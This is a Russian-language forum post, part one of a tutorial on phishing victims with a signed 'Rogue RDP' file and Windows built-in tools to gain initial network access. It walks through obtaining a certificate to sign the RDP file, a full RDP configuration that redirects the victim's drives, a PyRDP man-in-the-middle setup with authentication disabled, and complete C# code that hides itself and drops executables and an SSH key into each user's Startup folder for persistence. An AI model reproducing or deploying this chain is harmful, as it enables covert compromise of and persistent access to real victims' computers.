Используем встроенные средства Windows для проникновения в сеть (Часть 1)

SpecIT

Well-known member
Пользователь
Регистрация
3 Фев 2025
Сообщения
58
Реакции
12

Часть 1​

За последний год EDR и XDR значительно повысили уровень защиты от фишинга. Особые трудности доставляет эвристический анализ. Классическая рассылка документов теперь почти не работает. В качестве альтернативы я выбрал Rogue RDP как средство доставки и технику Living Off the Land Binaries — для первичного доступа в сети заказчика.

Концепция LOLBAS заключается в использовании предустановленных в системе средств и приложений с цифровой подписью Microsoft для достижения цели при пентесте или в хакерской атаке. Этот метод уже неоднократно позволял злоумышленникам обходить распространенные средства обнаружения и блокировки вредоносных программ.
Вы должны быть зарегистрированы для просмотра вложений

Сразу отмечу, что все заслуги здесь принадлежат Майку Фелчу из Dark Optics. Файл RDP содержит настройки для подключения к удаленному рабочему столу, и, поскольку большинство корпоративных сред используют RDP для коллективной работы, в Microsoft добавили множество функций для совместного использования файлов и принтеров, доступа к содержимому буфера обмена, устройствам захвата аудио и видео, смарт‑картам и даже подключаемым устройствам. Именно эти особенности я и буду использовать в качестве вектора получения первичного доступа.

Для реализации Rogue RDP нужно создать машину на Windows с белым IP-адресом. Далее установить WSL (Windows Subsystem for Linux) и перезапустить систему:
Код:
wsl --install --enable-wsl1
В оболочке WSL нужно установить Python 3, Certbot и Git:
Bash:
apt update
apt install python3 python3-pip git libaugeas0
pip install certbot
Теперь настроим записи DNS и получим для них сертификат SSL. Покупаем домен и создаем A-запись для нашего сервера.
Вы должны быть зарегистрированы для просмотра вложений

С помощью Certbot получаем SSL-сертификат Let’s Encrypt для нашего домена (мы будем использовать его для подписания файла RDP и получения большей визуальной легитимности), для этого используем команду в оболочке WSL:
certbot certonly --cert-name malrdp -d <your.domain.com> --register unsafely-without-email
Закрытый и открытый ключи сохранятся в файловой системе WSL: /etc/letsencrypt/live/YOUR_CERT_NAME/
Теперь преобразуем их в формат PFX с помощью OpenSSL: openssl pkcs12 -inkey /etc/letsencrypt/live/malrdp/privkey.pem -in /etc/letsencrypt/live/malrdp/fullchain.pem -export -out malrdp.pfx
Вы должны быть зарегистрированы для просмотра вложений

Следующий шаг — установить этот сертификат в магазин сертификатов Windows. Для этого кликаем правой кнопкой мыши на файле PFX, жмем Install PFX и следуем инструкциям. Когда сертификат установлен, получаем его отпечаток и можем использовать его для подписи файла RDP.

Копируем отпечаток сертификата: certmgr.msc → Personal → Certificates → двойной клик по нашему сертификату → Details → Thumbprint. Он нам понадобится для следующего шага.
Вы должны быть зарегистрированы для просмотра вложений


Создаем файл RDP, который будем использовать при рассылке, и вставляем в него следующее:
screen mode id:i:1
use multimon:i:0
desktopwidth:i:1920
desktopheight:i:1080
session bpp:i:32
winposstr:s:0,1,1904,23,3840,1142
compression:i:1
keyboardhook:i:2
audiocapturemode:i:0
videoplaybackmode:i:1
connection type:i:7
networkautodetect:i:1
bandwidthautodetect:i:1
displayconnectionbar:i:1
enableworkspacereconnect:i:0
disable wallpaper:i:0
allow font smoothing:i:0
allow desktop composition:i:0
disable full window drag:i:1
disable menu anims:i:1
disable themes:i:0
disable cursor setting:i:0
bitmapcachepersistenable:i:1
full address:s:<YOUR_DOMAIN_COM>:443
audiomode:i:0
redirectprinters:i:1
redirectcomports:i:0
redirectsmartcards:i:1
redirectwebauthn:i:1
redirectclipboard:i:1
redirectposdevices:i:0
autoreconnection enabled:i:1
authentication level:i:2
prompt for credentials:i:0
negotiate security layer:i:1
remoteapplicationmode:i:0
alternate shell:s:
shell working directory:s:
gatewayhostname:s:
gatewayusagemethod:i:4
gatewaycredentialssource:i:4
gatewayprofileusagemethod:i:0
promptcredentialonce:i:0
gatewaybrokeringtype:i:0
use redirection server name:i:0
rdgiskdcproxy:i:0
kdcproxyname:s:
enablerdsaadauth:i:0
redirectlocation:i:0
drivestoredirect:s:*
Теперь подписываем этот файл: rdpsign.exe /sha256 YOUR_CERTIFICATE_THUMBPRINT .\<filename>.rdp
Проверяем, что он действительно подписан.
Вы должны быть зарегистрированы для просмотра вложений


Создаем нового пользователя для подключения наших жертв:
Bash:
net user tsuser StrongP4ssw0rd /add
net localgroup administrators tsuser /add
Я придерживаюсь мнения, что фраза «красота в простоте» идеально применима к фишингу, так как мы всегда хотим уменьшить количество действий, которые жертва должна совершить для успешного выполнения задуманного сценария. Ввод пароля при подключении по RDP создаст дополнительные трудности в подключении человека к нашей машине.

Чтобы упростить задачу пользователю, применим утилиту PyRDP, которая действует как прокси‑сервер MITM и позволит жертве автоматически пройти аутентификацию.

Снова открываем оболочку WSL и устанавливаем PyRDP: pipx install pyrdp-mitm

Перед запуском необходимо убедиться, что NLA (Network Level Authentication) отключена для нашего RDP-сервера. Открываем Windows Settings → Remote Desktop → Advanced Settings и убираем флажок Require computers to use Network Level Authentication to connect.

Второй способ отключения — с помощью gpedit.msc. Открываем Computer Configuration → Administrative Templates → Windows Components → Remote Desktop Services → Remote Desktop Session Host → Security и отключаем настройку Require user authentication for remote connections by using Network Level Authentication.

Теперь все готово к запуску PyRDP (публичный и закрытый ключ сертификата необходимы, чтобы жертва не получила никаких предупреждений SSL):
pyrdp-mitm.py 127.0.0.1:3389 -u tsuser -p StrongP4ssw0rd --listen 443 -c /etc/letsencrypt/live/malrdp/fullchain.pem -k /etc/letsencrypt/live/malrdp/privkey.pem

Проверим процесс подключения с запущенным PyRDP и увидим ошибку.
Вы должны быть зарегистрированы для просмотра вложений


Она фиксится добавлением кастомного статуса в следующий скрипт: ...pyrdp-mitm/lib/python3.10/site packages/pyrdp/enum/windows.py

Вы должны быть зарегистрированы для просмотра вложений


Теперь при запуске файла .rdp мы не получим предупреждения SSL и соединение пройдет без необходимости вводить учетные данные. Также видим, что у сеанса RDP есть доступ к файловой системе хоста.

Вы должны быть зарегистрированы для просмотра вложений

На этом этапе у нас есть только файл RDP, который автоматически подключится к нашему серверу без необходимости вводить пароль и будет предоставлять файловую систему хоста жертвы нашему серверу. Есть несколько способов использовать этот уровень доступа, лично я предпочитаю добавлять нашу программу в папку Startup и ждать выполнения при следующем входе в систему.

Давай напишем на C# простую программу и назовем ее MalRDP.exe. При запуске она будет подключаться к файловой системе хоста жертвы (в частности, к диску C), искать любую папку Startup, к которой у нее есть доступ, и копировать в нее два простых и безобидных скрипта, которые сами по себе не представляют никакой угрозы и не детектируются антивирусом. Также наша программа будет копировать несколько совершенно легитимных файлов (LOLBins), о которых я расскажу дальше.

Код программы:
C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace MalRDP
{
 class Program
 {
 [DllImport("wtsapi32.dll", SetLastError = true)]
 static extern bool WTSLogoffSession(IntPtr hServer, int sessionId, bool bWait);
 [DllImport("kernel32.dll")]
 static extern IntPtr GetConsoleWindow();
 [DllImport("user32.dll")]
 static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
 const int SW_HIDE = 0;
 const int WTS_CURRENT_SESSION = -1;
 static readonly IntPtr WTS_CURRENT_SERVER_HANDLE = IntPtr.Zero;
 static void CopyDirectory(string sourceDir, string destDir)  {
 // Get the subdirectories for the specified directory.  DirectoryInfo dir = new DirectoryInfo(sourceDir);
 if (!dir.Exists)
 {
 throw new DirectoryNotFoundException(
 "Source directory does not exist or could not be found: "  + sourceDir);
 }
 // If the destination directory doesn’t exist, create it.  if (!Directory.Exists(destDir))
 {
 Directory.CreateDirectory(destDir);
 }
 // Get the files in the directory and copy them to the new location.
 FileInfo[] files = dir.GetFiles();
 foreach (FileInfo file in files)
 {
 string tempPath = Path.Combine(destDir, file.Name);  file.CopyTo(tempPath, false);
 Console.WriteLine($"Copied {file.FullName} to {tempPath}");
 }
 // Copy subdirectories and their contents recursively.  DirectoryInfo[] dirs = dir.GetDirectories();  foreach (DirectoryInfo subdir in dirs)
 {
 string tempPath = Path.Combine(destDir, subdir.Name);  CopyDirectory(subdir.FullName, tempPath);  }
 }
 static void Main(string[] args)
 {
 var handle = GetConsoleWindow();
 ShowWindow(handle, SW_HIDE);
 int retry = 0;
 string[] user_directories = {};
 while (retry < 10)
 {
 try
 {
 user_directories =
Directory.GetDirectories(@"\\tsclient\C\Users");
 break;
 }
 catch {
 }
 System.Threading.Thread.Sleep(500);
 retry++;
 }
 string dropperInPath = @"C:\Netlogon\sshishing2.exe";  string sshingInPath = @"C:\Netlogon\sshishing.exe";  string sshInDirPath = @"C:\Netlogon\OpenSSH-Win64";  string sshKeyInPath = @"C:\Netlogon\rsa";
 foreach (string dir in user_directories)  {
 if (dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("Public") || dir.EndsWith("All Users"))  continue;
 try
 {
 string dropperOutPath = $@"
{dir}\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\sshishing2.exe";
 string sshingOutPath = $@"
{dir}\AppData\Roaming\Microsoft\Windows\Start
Menu\Programs\Startup\sshishing.exe";
 string sshOutDirPath = $@"{dir}\Pictures\OpenSSH Win64";
 string sshKeyOutPath = $@"{dir}\Pictures\rsa";  if (File.Exists(dropperInPath) &&
!File.Exists(dropperOutPath))
 {
 File.Copy(dropperInPath, dropperOutPath);  }
 if (File.Exists(sshingInPath) &&
!File.Exists(sshingOutPath))
 {
 File.Copy(sshingInPath, sshingOutPath);  }
 if (File.Exists(sshKeyInPath) &&
!File.Exists(sshKeyOutPath))
 {
 File.Copy(sshKeyInPath, sshKeyOutPath);  }
 if (Directory.Exists(sshInDirPath) && !Directory.Exists(sshOutDirPath))
 {
 CopyDirectory(sshInDirPath, sshOutDirPath);  }
 }
 catch (Exception e)
 {
 }
 }
 WTSLogoffSession(WTS_CURRENT_SERVER_HANDLE,
WTS_CURRENT_SESSION, false);
 }
 }
}
Создадим папку C:\Netlogon и скопируем в нее скомпилированную программу и остальные файлы. Также создадим файл tsuser.bat, который просто запускает MalRDP.exe: Start "" "C:\\Netlogon\\MalRDP.exe"`

Теперь установим tsuser.bat в качестве скрипта входа для tsuser. Открываем Computer Management → System Tools → Local Users and Groups → Users, дважды кликаем по tsuser → Profile и прописываем tsuser.bat в Logon Script field.

Когда жертва подключится к нашему RDP-серверу, на нем запустится наша программа, которая сможет взаимодействовать с файловой системой жертвы, потому что корпорация Microsoft предоставила отличные возможности коду, работающему в среде RDP-сервера.

Запущенные отсюда программы могут взаимодействовать с подключенными клиентами с помощью перенаправления устройств. Это позволяет получить доступ к локальным дискам, принтерам и прочим ресурсам через удаленный рабочий стол. Серверы могут перечислять файловую систему подключенного клиента, используя пути к папкам вроде \\tsclient\c\ (диск C) или даже смонтированные сетевые файловые ресурсы с помощью такого пути:
\\tsclient\<drive_of_mapped_share>\

Конец первой части. Продолжение тут -

 
Последнее редактирование:
Сверху